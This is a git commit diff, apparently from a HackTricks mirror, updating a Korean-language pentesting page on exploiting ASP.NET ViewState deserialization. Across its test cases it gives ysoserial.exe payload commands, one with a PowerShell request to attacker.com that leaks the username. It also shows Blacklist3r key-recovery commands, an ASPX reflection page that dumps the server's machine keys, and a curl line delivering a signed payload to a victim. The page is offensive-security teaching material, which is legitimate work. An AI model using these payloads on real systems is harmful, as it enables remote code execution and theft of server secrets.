mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p
This commit is contained in:
parent
2f707b3ece
commit
9641b7c050
@ -4,29 +4,29 @@
|
||||
|
||||
## What is ViewState
|
||||
|
||||
**ViewState**는 ASP.NET에서 웹 페이지 간에 페이지 및 컨트롤 데이터를 유지하는 기본 메커니즘 역할을 합니다. 페이지의 HTML이 렌더링되는 동안, 페이지의 현재 상태와 포스트백 중에 보존할 값들이 base64로 인코딩된 문자열로 직렬화됩니다. 이러한 문자열은 숨겨진 ViewState 필드에 배치됩니다.
|
||||
**ViewState**는 ASP.NET에서 웹 페이지 간에 페이지 및 컨트롤 데이터를 유지하는 기본 메커니즘으로 사용됩니다. 페이지의 HTML이 렌더링되는 동안, 페이지의 현재 상태와 포스트백 중에 보존할 값들이 base64로 인코딩된 문자열로 직렬화됩니다. 이러한 문자열은 숨겨진 ViewState 필드에 배치됩니다.
|
||||
|
||||
ViewState 정보는 다음 속성 또는 그 조합으로 특징지을 수 있습니다:
|
||||
|
||||
- **Base64**:
|
||||
- 이 형식은 `EnableViewStateMac` 및 `ViewStateEncryptionMode` 속성이 모두 false로 설정될 때 사용됩니다.
|
||||
- **Base64 + MAC (메시지 인증 코드) 활성화**:
|
||||
- **Base64 + MAC (Message Authentication Code) Enabled**:
|
||||
- MAC의 활성화는 `EnableViewStateMac` 속성을 true로 설정하여 이루어집니다. 이는 ViewState 데이터에 대한 무결성 검증을 제공합니다.
|
||||
- **Base64 + 암호화**:
|
||||
- **Base64 + Encrypted**:
|
||||
- 암호화는 `ViewStateEncryptionMode` 속성이 true로 설정될 때 적용되어 ViewState 데이터의 기밀성을 보장합니다.
|
||||
|
||||
## Test Cases
|
||||
|
||||
이미지는 .NET 프레임워크 버전에 따라 ASP.NET에서 ViewState의 다양한 구성에 대한 표를 자세히 설명합니다. 내용 요약은 다음과 같습니다:
|
||||
이미지는 .NET 프레임워크 버전에 따라 ASP.NET에서 ViewState의 다양한 구성에 대한 표입니다. 내용 요약은 다음과 같습니다:
|
||||
|
||||
1. **모든 .NET 버전**에 대해, MAC과 암호화가 모두 비활성화되면 MachineKey가 필요하지 않으며, 따라서 이를 식별할 수 있는 방법이 없습니다.
|
||||
2. **4.5 미만 버전**의 경우, MAC이 활성화되었지만 암호화가 비활성화된 경우 MachineKey가 필요합니다. MachineKey를 식별하는 방법은 "Blacklist3r"로 언급됩니다.
|
||||
3. **4.5 미만 버전**의 경우, MAC이 활성화되었든 비활성화되었든 관계없이 암호화가 활성화되면 MachineKey가 필요합니다. MachineKey를 식별하는 것은 "Blacklist3r - Future Development"의 작업입니다.
|
||||
4. **4.5 이상 버전**의 경우, MAC과 암호화의 모든 조합(둘 다 true이거나 하나는 true이고 다른 하나는 false인 경우)은 MachineKey가 필요합니다. MachineKey는 "Blacklist3r"를 사용하여 식별할 수 있습니다.
|
||||
1. **모든 .NET 버전**에 대해, MAC과 Encryption이 모두 비활성화되면 MachineKey가 필요하지 않으며, 따라서 이를 식별할 수 있는 방법이 없습니다.
|
||||
2. **4.5 미만 버전**의 경우, MAC이 활성화되었지만 Encryption이 비활성화된 경우 MachineKey가 필요합니다. MachineKey를 식별하는 방법은 "Blacklist3r"로 언급됩니다.
|
||||
3. **4.5 미만 버전**의 경우, MAC이 활성화되었든 비활성화되었든 관계없이, Encryption이 활성화되면 MachineKey가 필요합니다. MachineKey를 식별하는 작업은 "Blacklist3r - Future Development"입니다.
|
||||
4. **4.5 이상 버전**의 경우, MAC과 Encryption의 모든 조합(둘 다 true이거나 하나는 true이고 다른 하나는 false인 경우)은 MachineKey가 필요합니다. MachineKey는 "Blacklist3r"를 사용하여 식별할 수 있습니다.
|
||||
|
||||
### Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false
|
||||
|
||||
ViewStateMAC을 완전히 비활성화하는 것도 가능하며, 이는 다음의 레지스트리 키를 0으로 설정하여 이루어집니다:
|
||||
`AspNetEnforceViewStateMac` 레지스트리 키를 0으로 설정하여 ViewStateMAC를 완전히 비활성화할 수도 있습니다:
|
||||
```
|
||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||||
```
|
||||
@ -39,8 +39,8 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
||||
### Test case 1.5 – Test case 1과 같지만 ViewState 쿠키가 서버에 의해 전송되지 않음
|
||||
|
||||
개발자는 **ViewState**가 HTTP 요청의 일부가 되지 않도록 할 수 있습니다 (사용자는 이 쿠키를 받지 않음).\
|
||||
**ViewState**가 **존재하지 않으면**, 그들의 구현이 **ViewState 역직렬화로 인한 잠재적 취약점**으로부터 **안전하다**고 가정할 수 있습니다.\
|
||||
그러나 그렇지 않습니다. 요청 본문에 **ViewState 매개변수**를 추가하고 ysoserial을 사용하여 생성한 직렬화된 페이로드를 전송하면, 여전히 **코드 실행**을 달성할 수 있습니다. 이는 **Case 1**에서 보여줍니다.
|
||||
**ViewState**가 **존재하지 않으면**, 그들의 구현이 ViewState 역직렬화로 인한 잠재적 취약점으로부터 **안전하다**고 가정할 수 있습니다.\
|
||||
하지만, 그렇지 않습니다. 요청 본문에 **ViewState 매개변수**를 추가하고 ysoserial을 사용하여 생성한 직렬화된 페이로드를 전송하면, 여전히 **코드 실행**을 달성할 수 있습니다, **Case 1**에서 보여준 것처럼.
|
||||
|
||||
### Test Case: 2 – .Net < 4.5 및 EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
|
||||
@ -106,15 +106,15 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
||||
```
|
||||
### Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true
|
||||
|
||||
이 경우 매개변수가 MAC으로 보호되는지 여부는 알려져 있지 않습니다. 따라서 값은 아마도 암호화되어 있으며, 취약점을 악용하기 위해 **페이로드를 암호화할 Machine Key가 필요합니다**.
|
||||
이 경우 매개변수가 MAC으로 보호되는지 여부는 알려져 있지 않습니다. 따라서 값은 아마도 암호화되어 있으며 **취약점을 악용하기 위해 페이로드를 암호화할 Machine Key가 필요합니다.**
|
||||
|
||||
**이 경우** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **모듈이 개발 중입니다...**
|
||||
|
||||
**.NET 4.5 이전에**, ASP.NET은 **`ViewStateEncryptionMode`**가 _**항상**_으로 설정되어 있더라도 사용자로부터 **암호화되지 않은** \_`__VIEWSTATE`\_ 매개변수를 **받을 수 있습니다**. ASP.NET은 요청에서 **`__VIEWSTATEENCRYPTED`** 매개변수의 **존재**만을 **확인합니다**. **이 매개변수를 제거하고 암호화되지 않은 페이로드를 전송하면 여전히 처리됩니다.**
|
||||
**.NET 4.5 이전에**, ASP.NET은 **`ViewStateEncryptionMode`**가 _**항상**_으로 설정되어 있더라도 사용자로부터 **암호화되지 않은** \_`__VIEWSTATE`\_ 매개변수를 **수용할 수 있습니다**. ASP.NET은 **요청에서** **`__VIEWSTATEENCRYPTED`** 매개변수의 **존재**만을 **확인합니다**. **이 매개변수를 제거하고 암호화되지 않은 페이로드를 전송하면 여전히 처리됩니다.**
|
||||
|
||||
따라서 공격자가 파일 탐색과 같은 다른 취약점을 통해 Machinekey를 얻는 방법을 찾으면, **Case 2**에서 사용된 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) 명령을 사용하여 ViewState 역직렬화 취약점을 이용한 RCE를 수행할 수 있습니다.
|
||||
|
||||
- ViewState 역직렬화 취약점을 악용하기 위해 요청에서 `__VIEWSTATEENCRYPTED` 매개변수를 제거하십시오. 그렇지 않으면 Viewstate MAC 검증 오류가 반환되고 악용이 실패합니다.
|
||||
- ViewState 역직렬화 취약점을 악용하기 위해 요청에서 `__VIEWSTATEENCRYPTED` 매개변수를 제거해야 하며, 그렇지 않으면 Viewstate MAC 검증 오류가 반환되고 악용이 실패합니다.
|
||||
|
||||
### Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false
|
||||
|
||||
@ -128,7 +128,7 @@ compatibilityMode="Framework45"
|
||||
```
|
||||
이전과 마찬가지로 **값이 암호화되어 있습니다.** 그러므로 **유효한 페이로드를 보내기 위해 공격자는 키가 필요합니다.**
|
||||
|
||||
[**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) 를 사용하여 사용 중인 키를 찾을 수 있습니다:
|
||||
[**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)를 사용하여 사용 중인 키를 찾을 수 있습니다:
|
||||
```
|
||||
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
|
||||
|
||||
@ -145,7 +145,7 @@ python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6
|
||||
```
|
||||

|
||||
|
||||
유효한 Machine key가 확인되면, **다음 단계는** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) **을 사용하여 직렬화된 페이로드를 생성하는 것입니다.**
|
||||
유효한 Machine key가 식별되면, **다음 단계는** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) **을 사용하여 직렬화된 페이로드를 생성하는 것입니다.**
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
```
|
||||
@ -157,22 +157,55 @@ ViewState 역직렬화 취약점을 성공적으로 악용하면 공격자가
|
||||
|
||||
### Test Case 6 – ViewStateUserKeys가 사용되고 있음
|
||||
|
||||
**ViewStateUserKey** 속성은 **CSRF 공격**에 대해 **방어**하는 데 사용될 수 있습니다. 애플리케이션에서 이러한 키가 정의되어 있고 지금까지 논의된 방법으로 **ViewState** 페이로드를 생성하려고 하면, **페이로드는 애플리케이션에 의해 처리되지 않습니다**.\
|
||||
페이로드를 올바르게 생성하기 위해서는 하나의 매개변수를 더 사용해야 합니다:
|
||||
**ViewStateUserKey** 속성은 **CSRF 공격**에 대해 **방어**하는 데 사용할 수 있습니다. 애플리케이션에서 이러한 키가 정의되어 있고 지금까지 논의된 방법으로 **ViewState** 페이로드를 생성하려고 하면, **페이로드는 애플리케이션에 의해 처리되지 않습니다**.\
|
||||
페이로드를 올바르게 생성하기 위해 추가 매개변수를 하나 더 사용해야 합니다:
|
||||
```bash
|
||||
--viewstateuserkey="randomstringdefinedintheserver"
|
||||
```
|
||||
### 성공적인 취약점 이용의 결과 <a href="#poc" id="poc"></a>
|
||||
### Result of a Successful Exploitation <a href="#poc" id="poc"></a>
|
||||
|
||||
모든 테스트 케이스에서 ViewState YSoSerial.Net 페이로드가 **성공적으로** 작동하면 서버는 “**500 Internal server error**”와 함께 응답 내용 “**이 페이지에 대한 상태 정보가 유효하지 않으며 손상되었을 수 있습니다**”를 반환하고 OOB 요청을 받습니다.
|
||||
모든 테스트 케이스에서, ViewState YSoSerial.Net 페이로드가 **성공적으로** 작동하면 서버는 “**500 Internal server error**”로 응답하며 응답 내용은 “**이 페이지에 대한 상태 정보가 유효하지 않거나 손상되었을 수 있습니다**”이고 OOB 요청을 받습니다.
|
||||
|
||||
[추가 정보는 여기에서 확인하세요](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||
[더 많은 정보는 여기에서 확인하세요](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||
|
||||
## 참고 문헌
|
||||
### Dumping ASP.NET Machine Keys via Reflection (SharPyShell/SharePoint ToolShell)
|
||||
|
||||
대상 웹 루트 내에서 **임의의 ASPX 코드를 업로드하거나 실행할 수 있는** 공격자는 브루트포싱하는 대신 `__VIEWSTATE`를 보호하는 비밀 키를 직접 검색할 수 있습니다. 키를 유출하는 최소한의 페이로드는 리플렉션을 통해 내부 .NET 클래스를 활용합니다:
|
||||
```csharp
|
||||
<%@ Import Namespace="System.Web.Configuration" %>
|
||||
<%@ Import Namespace="System.Reflection" %>
|
||||
<script runat="server">
|
||||
public void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
var asm = Assembly.Load("System.Web");
|
||||
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
|
||||
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
|
||||
var cfg = (MachineKeySection)m.Invoke(null, null);
|
||||
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
|
||||
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
|
||||
}
|
||||
</script>
|
||||
```
|
||||
페이지 요청 시 **ValidationKey**, **DecryptionKey**, 암호화 알고리즘 및 ASP.NET 호환 모드가 출력됩니다. 이러한 값은 이제 **ysoserial.net**에 직접 입력하여 유효하고 서명된 `__VIEWSTATE` 가젯을 생성할 수 있습니다:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
|
||||
-c "powershell -nop -c \"whoami\"" \
|
||||
--generator=<VIEWSTATE_GENERATOR> \
|
||||
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
|
||||
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
|
||||
--islegacy --minify
|
||||
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
|
||||
```
|
||||
이 **키 유출 원시**는 2025년 온프레미스 SharePoint 서버에 대해 대규모로 악용되었으며 ("ToolShell" – CVE-2025-53770/53771), 공격자가 서버 측 코드를 실행할 수 있는 모든 ASP.NET 애플리케이션에 적용 가능합니다.
|
||||
|
||||
## References
|
||||
|
||||
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user